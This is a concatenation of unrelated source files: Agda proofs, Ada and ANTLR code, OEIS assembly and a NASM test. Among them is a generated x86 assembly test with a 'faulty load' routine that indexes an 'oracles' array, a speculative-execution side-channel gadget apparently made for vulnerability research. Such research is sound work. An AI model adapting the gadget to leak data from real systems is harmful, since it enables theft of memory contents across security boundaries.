Sfree-↝-size> : ∀{a b : comb} → Sfree a ≡ tt → a ↝ b → size a > size b ≡ tt
Sfree-↝-size> p (↝K a b) = ≤<-trans {size a} (≤+1 (size a) (size b))
(<+2 {size a + size b} {2})
Sfree-↝-size> () (↝S a b c)
Sfree-↝-size> p (↝Cong1{a}{a'} b u) with &&-elim{Sfree a} p
Sfree-↝-size> p (↝Cong1{a}{a'} b u) | p1 , _ = <+mono2 {size a'} (Sfree-↝-size> p1 u)
Sfree-↝-size> p (↝Cong2 a u) with &&-elim{Sfree a} p
Sfree-↝-size> p (↝Cong2 a u) | _ , p2 = <+mono1{size a} (Sfree-↝-size> p2 u)
↝-preserves-Sfree : ∀{a b : comb} → Sfree a ≡ tt → a ↝ b → Sfree b ≡ tt
↝-preserves-Sfree p (↝K a b) = fst (&&-elim p)
↝-preserves-Sfree () (↝S a b c)
↝-preserves-Sfree p (↝Cong1 b u) with &&-elim p
↝-preserves-Sfree p (↝Cong1 b u) | p1 , p2 = &&-intro (↝-preserves-Sfree p1 u) p2
↝-preserves-Sfree p (↝Cong2 a u) with &&-elim{Sfree a} p
↝-preserves-Sfree p (↝Cong2 a u) | p1 , p2 = &&-intro p1 (↝-preserves-Sfree p2 u)
Sfree-comb : Set
Sfree-comb = Σ comb (λ a → Sfree a ≡ tt)
↝-Sfree-comb : Sfree-comb → Sfree-comb → Set
↝-Sfree-comb (a , _) (b , _) = a ↝ b
size-Sfree-comb : Sfree-comb → ℕ
size-Sfree-comb (a , _) = size a
decrease-size : ∀ {x y : Sfree-comb} → ↝-Sfree-comb x y → size-Sfree-comb x > size-Sfree-comb y ≡ tt
decrease-size{a , u}{b , _} p = Sfree-↝-size> u p
open measure{A = Sfree-comb} ↝-Sfree-comb (λ x y → x > y ≡ tt) size-Sfree-comb decrease-size
measure-decreases : ∀(a : Sfree-comb) → ↓ ↝-Sfree-comb a
measure-decreases a = measure-↓ (↓-> (size-Sfree-comb a))
Sfree-terminatesh : ∀{a : comb}{p : Sfree a ≡ tt} → ↓ ↝-Sfree-comb (a , p) → ↓ _↝_ a
Sfree-terminatesh{a}{p} (pf↓ f) = pf↓ h
where h : {y : comb} → a ↝ y → ↓ _↝_ y
h{y} u = Sfree-terminatesh (f {y , ↝-preserves-Sfree p u} u)
Sfree-terminates : ∀(a : comb) → Sfree a ≡ tt → ↓ _↝_ a
Sfree-terminates a p = Sfree-terminatesh (measure-decreases (a , p))
data varcomb : Set where
S : varcomb
K : varcomb
app : varcomb → varcomb → varcomb
var : (s : string) → varcomb
λ* : (s : string) → varcomb → varcomb
λ* s S = app K S
λ* s K = app K K
λ* s (app c1 c2) = app (app S (λ* s c1)) (λ* s c2)
λ* s (var s') = if (s =string s') then (app (app S K) K) else (app K (var s'))
subst : varcomb → string → varcomb → varcomb
subst c s S = S
subst c s K = K
subst c s (app c1 c2) = app (subst c s c1) (subst c s c2)
subst c s (var s') = if (s =string s') then c else var s'
data _↝vc_ : varcomb → varcomb → Set where
↝K : (a b : varcomb) → (app (app K a) b) ↝vc a
↝S : (a b c : varcomb) → (app (app (app S a) b) c) ↝vc (app (app a c) (app b c))
↝Cong1 : {a a' : varcomb} (b : varcomb) → a ↝vc a' → (app a b) ↝vc (app a' b)
↝Cong2 : (a : varcomb) {b b' : varcomb} → b ↝vc b' → (app a b) ↝vc (app a b')
-- open closures.basics _↝vc_
-- _↝vc+_ : varcomb → varcomb → Set
-- _↝vc+_ = tc
-- id↝ : ∀ (a : varcomb) → app (app (app S K) K) a ↝vc+ a
-- id↝ a = (tc-trans (tc-step (↝S K K a)) (tc-step (↝K a (app K a))))
-- trans-Cong1 : ∀{a a' : varcomb} (b : varcomb) → a ↝vc+ a' → (app a b) ↝vc+ (app a' b)
-- trans-Cong1 b (tc-trans d1 d2) = (tc-trans (trans-Cong1 b d1) (trans-Cong1 b d2))
-- trans-Cong1 b (tc-step d) = tc-step (↝Cong1 b d)
-- trans-Cong2 : ∀(a : varcomb) {b b' : varcomb} → b ↝vc+ b' → (app a b) ↝vc+ (app a b')
-- trans-Cong2 a (tc-trans d1 d2) = (tc-trans (trans-Cong2 a d1) (trans-Cong2 a d2))
-- trans-Cong2 a (tc-step d) = tc-step (↝Cong2 a d)
-- contains-var : string → varcomb → 𝔹
-- contains-var s S = ff
-- contains-var s K = ff
-- contains-var s (app c1 c2) = contains-var s c1 || contains-var s c2
-- contains-var s (var s') = s =string s'
-- λ*-binds : ∀(s : string)(v : varcomb) → contains-var s (λ* s v) ≡ ff
-- λ*-binds s S = refl
-- λ*-binds s K = refl
-- λ*-binds s (app c1 c2) rewrite λ*-binds s c1 | λ*-binds s c2 = refl
-- λ*-binds s (var s') with keep (s =string s')
-- λ*-binds s (var s') | tt , p rewrite p = refl
-- λ*-binds s (var s') | ff , p rewrite p = p
-- λ*-↝ : ∀ (v1 v2 : varcomb)(s : string) → (app (λ* s v1) v2) ↝vc+ (subst v2 s v1)
-- λ*-↝ S v2 s = tc-step (↝K S v2)
-- λ*-↝ K v2 s = tc-step (↝K K v2)
-- λ*-↝ (app c1 c2) v2 s =
-- (tc-trans (tc-step (↝S (λ* s c1) (λ* s c2) v2))
-- (tc-trans (trans-Cong1 (app (λ* s c2) v2) (λ*-↝ c1 v2 s))
-- (trans-Cong2 (subst v2 s c1) (λ*-↝ c2 v2 s))))
-- λ*-↝ (var s') v2 s with s =string s'
-- λ*-↝ (var s') v2 s | tt = id↝ v2
-- λ*-↝ (var s') v2 s | ff = tc-step (↝K (var s') v2)
|
src/Data/Finitude/Properties.agda | tizmd/agda-finitary | 0 | 12282 | <reponame>tizmd/agda-finitary<filename>src/Data/Finitude/Properties.agda
module Data.Finitude.Properties where
open import Data.Fin as Fin using (Fin; #_ )
open import Data.Fin.Properties hiding (decSetoid)
open import Relation.Nullary
open import Relation.Unary
open import Relation.Binary renaming (Decidable to Dec₂) hiding (Irrelevant)
open import Relation.Binary.PropositionalEquality as P hiding (decSetoid; isEquivalence)
open import Data.Finitude
open import Function.Equality as F using (_⟨$⟩_)
open import Function.Inverse as Inv using (Inverse)
open import Data.Nat as ℕ hiding (_≟_)
import Level
finitude→≡ : ∀ {n m} → Finitude (P.setoid (Fin n)) m → n ≡ m
finitude→≡ fin = ⇒Fin∼Fin fin
where
open import Data.Fin.PigeonHole
dec-≈ : ∀ {a ℓ n}{S : Setoid a ℓ} → Finitude S n → Dec₂ (Setoid._≈_ S)
dec-≈ {S = S} fin x y with (Inverse.to fin ⟨$⟩ x) ≟ (Inverse.to fin ⟨$⟩ y)
dec-≈ {S = S} fin x y | yes fx≡fy = yes (Inverse.injective fin fx≡fy)
dec-≈ {S = S} fin x y | no fx≢fy = no (λ x≈y → fx≢fy (F.cong (Inverse.to fin) x≈y))
decSetoid : ∀ {a ℓ n}{S : Setoid a ℓ} → Finitude S n → DecSetoid a ℓ
decSetoid {S = S} fin = record {
isDecEquivalence = record {
_≟_ = dec-≈ fin
; isEquivalence = isEquivalence
}
}
where open Setoid S
same-size↔ : ∀ {n a₁ a₂ ℓ₁ ℓ₂}{A₁ : Setoid a₁ ℓ₁}{A₂ : Setoid a₂ ℓ₂} → Finitude A₁ n → Finitude A₂ n → Inverse A₁ A₂
same-size↔ fin₁ fin₂ = Inv.sym fin₂ Inv.∘ fin₁
size-unique : ∀ {a ℓ} {A : Setoid a ℓ} {n m} → Finitude A n → Finitude A m → n ≡ m
size-unique finN finM = finitude→≡ (finM Inv.∘ Inv.sym finN)
{-
open import Data.Empty
open import Data.Unit
Irr : ∀ {a ℓ}(S : Setoid a ℓ) → Set (a Level.⊔ ℓ)
Irr S = ∀ x y → x ≈ y
where
open Setoid S
⊥-Irr : Irrelevant ⊥
⊥-Irr = λ ()
⊤-Irr : Irrelevant ⊤
⊤-Irr = λ _ _ → P.refl
Irr-finitude : ∀ {a ℓ n}{S : Set a} → Irrelevant S → Finitude (P.setoid S) n → n ℕ.≤ 1
Irr-finitude {n = ℕ.zero} irr fin = z≤n
Irr-finitude {n = ℕ.suc ℕ.zero} irr fin = s≤s z≤n
Irr-finitude {n = ℕ.suc (ℕ.suc n)}{S} irr fin = ⊥-elim contra
where
open Setoid S
x₀ = Inverse.from fin ⟨$⟩ # 0
x₁ = Inverse.from fin ⟨$⟩ # 1
contra : ⊥
contra with Inverse.injective (Inv.sym fin) (irr x₀ x₁)
... | ()
-}
|
oeis/112/A112773.asm | neoneye/loda-programs | 11 | 94355 | <reponame>neoneye/loda-programs
; A112773: 3 together with primes multiplied by 3.
; Submitted by <NAME>
; 3,6,9,15,21,33,39,51,57,69,87,93,111,123,129,141,159,177,183,201,213,219,237,249,267,291,303,309,321,327,339,381,393,411,417,447,453,471,489,501,519,537,543,573,579,591,597,633,669,681,687,699,717,723,753,771,789,807,813,831,843,849,879,921,933,939,951,993,1011,1041,1047,1059,1077,1101,1119,1137,1149,1167,1191,1203,1227,1257,1263,1293,1299,1317,1329,1347,1371,1383,1389,1401,1437,1461,1473,1497,1509,1527,1563,1569
sub $0,1
mov $2,1
max $2,$0
add $0,$2
seq $0,173919 ; Numbers that are prime or one less than a prime.
mul $0,3
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_357.asm | ljhsiun2/medusa | 9 | 82412 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x8a55, %rsi
lea addresses_D_ht+0xc2f1, %rdi
nop
nop
nop
nop
nop
sub %rbx, %rbx
mov $62, %rcx
rep movsl
nop
nop
nop
inc %rcx
lea addresses_normal_ht+0x177f1, %rax
nop
nop
add %rbx, %rbx
movb (%rax), %r12b
nop
xor $56264, %rax
lea addresses_WT_ht+0x8bf1, %rax
nop
nop
nop
nop
sub %r14, %r14
movb $0x61, (%rax)
xor $24401, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x7931, %r11
nop
nop
nop
nop
xor %r13, %r13
movl $0x51525354, (%r11)
nop
nop
nop
nop
add %r12, %r12
// REPMOV
lea addresses_D+0x1b671, %rsi
mov $0x5ff, %rdi
nop
and $12106, %rbx
mov $7, %rcx
rep movsq
xor %rdi, %rdi
// Faulty Load
lea addresses_normal+0x6ff1, %rcx
nop
sub $13362, %r14
mov (%rcx), %r12w
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_P'}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
examples/sql/simple_sql.adb | svn2github/matreshka | 24 | 11195 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- SQL Database Access --
-- --
-- Examples Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Ada.Wide_Wide_Text_IO;
with League.Strings;
with League.Holders.Floats;
with League.Holders.Integers;
--with Matreshka.Internals.SQL_Drivers.Firebird.Factory;
--with Matreshka.Internals.SQL_Drivers.MySQL.Factory;
--with Matreshka.Internals.SQL_Drivers.Oracle.Factory;
--with Matreshka.Internals.SQL_Drivers.PostgreSQL.Factory;
with Matreshka.Internals.SQL_Drivers.SQLite3.Factory;
with SQL.Databases;
with SQL.Options;
with SQL.Queries;
procedure Simple_SQL is
function "+"
(Item : Wide_Wide_String) return League.Strings.Universal_String
renames League.Strings.To_Universal_String;
-- DB_Driver : constant League.Strings.Universal_String := +"MYSQL";
-- MySQL
-- DB_Type : constant League.Strings.Universal_String := +"ORACLE";
-- Oracle
-- DB_Driver : constant League.Strings.Universal_String := +"POSTGRESQL";
-- PostgreSQL
DB_Driver : constant League.Strings.Universal_String := +"SQLITE3";
-- SQLite3
-- DB_Driver : constant League.Strings.Universal_String := +"FIREBIRD";
-- DB_Options : constant League.Strings.Universal_String :=
-- +"SYSDBA/masterkey@localhost:/tmp/aaa";
-- Firebird
DB_Options : SQL.Options.SQL_Options;
begin
-- MySQL
-- DB_Options.Set (+"database", +"test");
-- Oracle
-- DB_Options.Set
-- (Matreshka.Internals.SQL_Drivers.Oracle.User_Option, +"scott");
-- DB_Options.Set
-- (Matreshka.Internals.SQL_Drivers.Oracle.Password_Option, +"<PASSWORD>");
-- DB_Options.Set
-- (Matreshka.Internals.SQL_Drivers.Oracle.Database_Option, +"db");
-- PostgreSQL
-- SQLite3
DB_Options.Set (+"filename", +"test.db");
declare
D : aliased SQL.Databases.SQL_Database
:= SQL.Databases.Create (DB_Driver, DB_Options);
begin
D.Open;
declare
Q : SQL.Queries.SQL_Query := D.Query;
begin
Q.Prepare
(+"CREATE TABLE point (x INTEGER, y CHARACTER VARYING (6), z FLOAT)");
Q.Execute;
end;
declare
Q : SQL.Queries.SQL_Query := D.Query;
begin
Q.Prepare (+"INSERT INTO point (x, y, z) VALUES (:x, :y, :z)");
Q.Bind_Value (+":z", League.Holders.Floats.To_Holder (4.5));
Q.Bind_Value (+":y", League.Holders.To_Holder (+"xyz"));
Q.Bind_Value (+":x", League.Holders.Integers.To_Holder (5));
Q.Execute;
end;
declare
Q : aliased SQL.Queries.SQL_Query := D.Query;
begin
Q.Prepare (+"SELECT x, y, z FROM point");
Q.Execute;
while Q.Next loop
Ada.Wide_Wide_Text_IO.Put_Line
(Integer'Wide_Wide_Image
(League.Holders.Integers.Element (Q.Value (1)))
& ":"
& League.Holders.Element (Q.Value (2)).To_Wide_Wide_String
& ":"
& Float'Wide_Wide_Image
(League.Holders.Floats.Element (Q.Value (3))));
end loop;
end;
D.Close;
end;
end Simple_SQL;
|
test/Succeed/Issue5583.agda | KDr2/agda | 1,989 | 10470 |
module _ where
open import Agda.Builtin.Unit
open import Imports.Issue5583 tt
_ : X
_ = it
|
grammar/Lexer.g4 | jim-wordelman-msft/Microsoft-Performance-Tools-Linux-Android | 179 | 1171 | lexer grammar Lexer;
ALIGN : 'align' ;
CALLSITE : 'callsite' ;
// CONST : 'const' ;
// CHAR : 'char' ;
CLOCK : 'clock' ;
// DOUBLE : 'double' ;
ENUM : 'enum' ;
ENV : 'env' ;
EVENT : 'event' ;
FLOATING_POINT : 'floating_point' ;
// FLOAT : 'float' ;
INTEGER : 'integer' ;
// INT : 'int' ;
// LONG : 'long' ;
// SHORT : 'short' ;
// SIGNED : 'signed' ;
STREAM : 'stream' ;
STRING : 'string' ;
STRUCT : 'struct' ;
TRACE : 'trace' ;
TYPEALIAS : 'typealias' ;
TYPEDEF : 'typedef' ;
// UNSIGNED : 'unsigned' ;
VARIANT : 'variant' ;
// VOID : 'void' ;
// BOOL : '_Bool' ;
// COMPLEX : '_Complex' ;
// IMAGINARY : '_Imaginary' ;
DECIMAL_LITERAL : ('0' | [1-9][0-9]*) IntegerSuffix? ;
OCTAL_LITERAL : '0' ('0'..'7')+ IntegerSuffix? ;
HEXADECIMAL_LITERAL : '0' ('x'|'X') HexadecimalDigit+ IntegerSuffix? ;
IDENTIFIER : IdNonDigit (IdNonDigit|'0'..'9')* ;
/** COMMENT, WS, LINE_COMMENT, STRING_LITERAL, CHARACTER_LITERAL and their fragments were
taken from the java antlr grammar, rather than trying to piece together one from the flex ctf.
*/
COMMENT
: '/*' .*? '*/' -> channel(HIDDEN)
;
WS : [ \r\t\u000C\n]+ -> channel(HIDDEN)
;
LINE_COMMENT
: '//' ~[\r\n]* '\r'? '\n' -> channel(HIDDEN)
;
STRING_LITERAL
: '"' ( EscapeSequence | ~('\\'|'"') )* '"'
;
CHARACTER_LITERAL
: '\'' ( EscapeSequence | ~('\''|'\\') ) '\''
;
GARBAGE : . -> skip ;
fragment
EscapeSequence
: '\\' ('b'|'t'|'n'|'f'|'r'|'"'|'\''|'\\')
| UnicodeEscape
| OctalEscape
;
fragment
OctalEscape
: '\\' ('0'..'3') ('0'..'7') ('0'..'7')
| '\\' ('0'..'7') ('0'..'7')
| '\\' ('0'..'7')
;
fragment
UnicodeEscape
: '\\' 'u' HexadecimalDigit HexadecimalDigit HexadecimalDigit HexadecimalDigit
;
fragment
IntegerSuffix : ('U'|'UL'|'ULL'|'LU'|'LLU'|'Ul'|'Ull'|'lU'|'llU'|'u'|'uL'|'uLL'|'Lu'|'LLu'|'ul'|'ull'|'lu'|'llu') ;
fragment
HexadecimalDigit : ('0'..'9'|'a'..'f'|'A'..'F') ;
fragment
NonDigit : ('a'..'z'|'A'..'Z'|'_') ;
fragment
HexQuad : HexadecimalDigit HexadecimalDigit HexadecimalDigit HexadecimalDigit ;
fragment
UcharLowercase : '\\' 'u' HexQuad ;
fragment
UcharUppercase : '\\' 'U' HexQuad HexQuad ;
fragment
IdNonDigit : (NonDigit|UcharLowercase|UcharUppercase) ;
|
Cubical/Algebra/CommAlgebra/Instances/Initial.agda | gmagaf/cubical | 0 | 10155 | {-# OPTIONS --safe #-}
module Cubical.Algebra.CommAlgebra.Instances.Initial where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.HLevels
open import Cubical.Foundations.Isomorphism
open import Cubical.Data.Unit
open import Cubical.Data.Sigma.Properties using (Σ≡Prop)
open import Cubical.Algebra.CommRing
open import Cubical.Algebra.Ring
open import Cubical.Algebra.Algebra.Base using (IsAlgebraHom)
open import Cubical.Algebra.Algebra.Properties
open import Cubical.Algebra.CommAlgebra
import Cubical.Algebra.Algebra.Properties
open AlgebraHoms
private
variable
ℓ : Level
module _ (R : CommRing ℓ) where
module _ where
open CommRingStr (snd R)
initialCAlg : CommAlgebra R ℓ
initialCAlg .fst = fst R
initialCAlg .snd .CommAlgebraStr.0a = _
initialCAlg .snd .CommAlgebraStr.1a = _
initialCAlg .snd .CommAlgebraStr._+_ = _
initialCAlg .snd .CommAlgebraStr._·_ = _
initialCAlg .snd .CommAlgebraStr.-_ = _
initialCAlg .snd .CommAlgebraStr._⋆_ r x = r · x
initialCAlg .snd .CommAlgebraStr.isCommAlgebra =
makeIsCommAlgebra (isSetRing (CommRing→Ring R))
+Assoc +Rid +Rinv +Comm
·Assoc ·Lid
·Ldist+ ·Comm
(λ x y z → sym (·Assoc x y z)) ·Ldist+ ·Rdist+ ·Lid
λ x y z → sym (·Assoc x y z)
module _ (A : CommAlgebra R ℓ) where
open CommAlgebraStr ⦃... ⦄
private
instance
_ : CommAlgebraStr R (fst A)
_ = snd A
_ : CommAlgebraStr R (fst R)
_ = snd initialCAlg
_*_ : fst R → (fst A) → (fst A)
r * a = CommAlgebraStr._⋆_ (snd A) r a
initialMap : CommAlgebraHom initialCAlg A
initialMap =
makeCommAlgebraHom {M = initialCAlg} {N = A}
(λ r → r * 1a)
(⋆-lid _)
(λ x y → ⋆-ldist x y 1a)
(λ x y → (x · y) * 1a ≡⟨ ⋆-assoc _ _ _ ⟩
x * (y * 1a) ≡[ i ]⟨ x * (·Lid (y * 1a) (~ i)) ⟩
x * (1a · (y * 1a)) ≡⟨ sym (⋆-lassoc _ _ _) ⟩
(x * 1a) · (y * 1a) ∎)
(λ r x → (r · x) * 1a ≡⟨ ⋆-assoc _ _ _ ⟩
(r * (x * 1a)) ∎)
initialMapEq : (f : CommAlgebraHom initialCAlg A)
→ f ≡ initialMap
initialMapEq f =
let open IsAlgebraHom (snd f)
in Σ≡Prop
(isPropIsCommAlgebraHom {M = initialCAlg} {N = A})
λ i x →
((fst f) x ≡⟨ cong (fst f) (sym (·Rid _)) ⟩
fst f (x · 1a) ≡⟨ pres⋆ x 1a ⟩
CommAlgebraStr._⋆_ (snd A) x (fst f 1a) ≡⟨ cong
(λ u → (snd A CommAlgebraStr.⋆ x) u)
pres1 ⟩
(CommAlgebraStr._⋆_ (snd A) x 1a) ∎) i
initialMapProp : (f g : CommAlgebraHom initialCAlg A)
→ f ≡ g
initialMapProp f g = initialMapEq f ∙ sym (initialMapEq g)
initialityIso : Iso (CommAlgebraHom initialCAlg A) (Unit* {ℓ = ℓ})
initialityIso = iso (λ _ → tt*)
(λ _ → initialMap)
(λ {tt*x → refl})
λ f → sym (initialMapEq f)
initialityPath : CommAlgebraHom initialCAlg A ≡ Unit*
initialityPath = isoToPath initialityIso
initialityContr : isContr (CommAlgebraHom initialCAlg A)
initialityContr = initialMap , λ ϕ → sym (initialMapEq ϕ)
{-
Show that any R-Algebra with the same universal property
as the initial R-Algebra, is isomorphic to the initial
R-Algebra.
-}
module _ (A : CommAlgebra R ℓ) where
equivByInitiality :
(isInitial : (B : CommAlgebra R ℓ) → isContr (CommAlgebraHom A B))
→ CommAlgebraEquiv A (initialCAlg)
equivByInitiality isInitial = isoToEquiv asIso , snd to
where
open CommAlgebraHoms
to : CommAlgebraHom A initialCAlg
to = fst (isInitial initialCAlg)
from : CommAlgebraHom initialCAlg A
from = initialMap A
asIso : Iso (fst A) (fst initialCAlg)
Iso.fun asIso = fst to
Iso.inv asIso = fst from
Iso.rightInv asIso =
λ x i → cong
fst
(isContr→isProp (initialityContr initialCAlg) (to ∘a from) (idCAlgHom initialCAlg))
i x
Iso.leftInv asIso =
λ x i → cong
fst
(isContr→isProp (isInitial A) (from ∘a to) (idCAlgHom A))
i x
|
test/br3104312.asm | km2m/nasm | 2,219 | 179383 | <filename>test/br3104312.asm
%if 1 < 8000_0002h
%warning No bug with 8000_0002h
%else
%warning Bug with 8000_0002h
%endif
%if 1 < 8000_0001h
%warning No bug with 8000_0001h
%else
%warning Bug with 8000_0001h
%endif
|
examples/systick/main.adb | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 5248 | with System.Machine_Code; use System.Machine_Code;
with STM32GD.Board;
with STM32GD.Systick; use STM32GD.Systick;
with Drivers.Text_IO;
with Startup;
procedure Main is
package Text_IO is new Drivers.Text_IO (USART => STM32GD.Board.USART);
begin
STM32GD.Board.Init;
Text_IO.Put_Line ("Starting SYSTICK...");
Systick_Periph.CSR := (
ENABLE => 1,
TICKINT => 1,
CLKSOURCE => 1,
COUNTFLAG => 0,
Reserved_3_15 => 0,
Reserved_17_31 => 0);
loop
STM32GD.WFI;
end loop;
end Main;
|
programs/oeis/118/A118658.asm | neoneye/loda | 22 | 20143 | <gh_stars>10-100
; A118658: a(n) = 2*F(n-1) = L(n) - F(n), where F(n) and L(n) are Fibonacci and Lucas numbers respectively.
